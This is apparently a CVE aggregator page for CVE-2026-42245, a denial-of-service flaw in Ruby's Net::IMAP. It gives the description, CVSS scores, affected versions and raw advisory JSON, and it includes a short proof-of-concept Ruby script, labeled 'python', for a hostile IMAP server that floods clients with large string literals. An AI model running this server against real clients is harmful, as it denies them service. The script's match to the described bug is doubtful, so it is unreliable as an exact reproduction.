Security Vulnerability Report
中文
CVE-2026-42245 CVSS 7.5 HIGH

CVE-2026-42245

Published: 2026-05-09 20:16:28
Last Modified: 2026-05-18 18:12:26

Description

Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.4.24, 0.5.14, and 0.6.4, Net::IMAP::ResponseReader has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ruby-lang:net\:\:imap:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:ruby-lang:net\:\:imap:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:ruby-lang:net\:\:imap:*:*:*:*:*:ruby:*:* - VULNERABLE
Ruby Net::IMAP < 0.4.24
Ruby Net::IMAP >= 0.5.0, < 0.5.14
Ruby Net::IMAP >= 0.6.0, < 0.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-42245: Malicious IMAP Server Simulation # This script simulates a server sending a response with many string literals # to trigger the quadratic complexity in Net::IMAP::ResponseReader. require 'socket' server = TCPServer.new(143) puts "Malicious IMAP server listening on port 143..." client = server.accept # Send initial greeting client.puts "* OK IMAP4rev1 Server Ready" # Wait for client command (simplified) client.gets # Construct a malicious response with many string literals # This causes the CPU exhaustion in vulnerable clients literal_size = 5000 malicious_response = "* LIST (\\HasNoChildren) \"/\" {#{literal_size}}\r\n" + "A" * literal_size + "\r\n" # Send the payload multiple times to amplify the effect 100.times do client.puts malicious_response end client.close

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42245", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:28.017", "lastModified": "2026-05-18T18:12:26.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.4.24, 0.5.14, and 0.6.4, Net::IMAP::ResponseReader has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "0.4.24", "matchCriteriaId": "05DB8FF3-7546-470A-BBB4-4DCAEAD83D6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.5.0", "versionEndExcluding": "0.5.14", "matchCriteriaId": "2CCEB891-1D8F-4431-A79C-2A7560A84F4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.6.0", "versionEndExcluding": "0.6.4", "matchCriteriaId": "9A6D1995-BFA3-490F-967D-252CA7BE2264"}]}]}], "references": [{"url": "https://github.com/ruby/net-imap/commit/6091f7d6b1f3514cafbfe39c76f2b5d73de3ca96", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/commit/88d95231fc8afef11c1f074453f7d75b68c9dfda", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/commit/de685f91a4a4cc75eb80da898c2bf8af08d34819", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}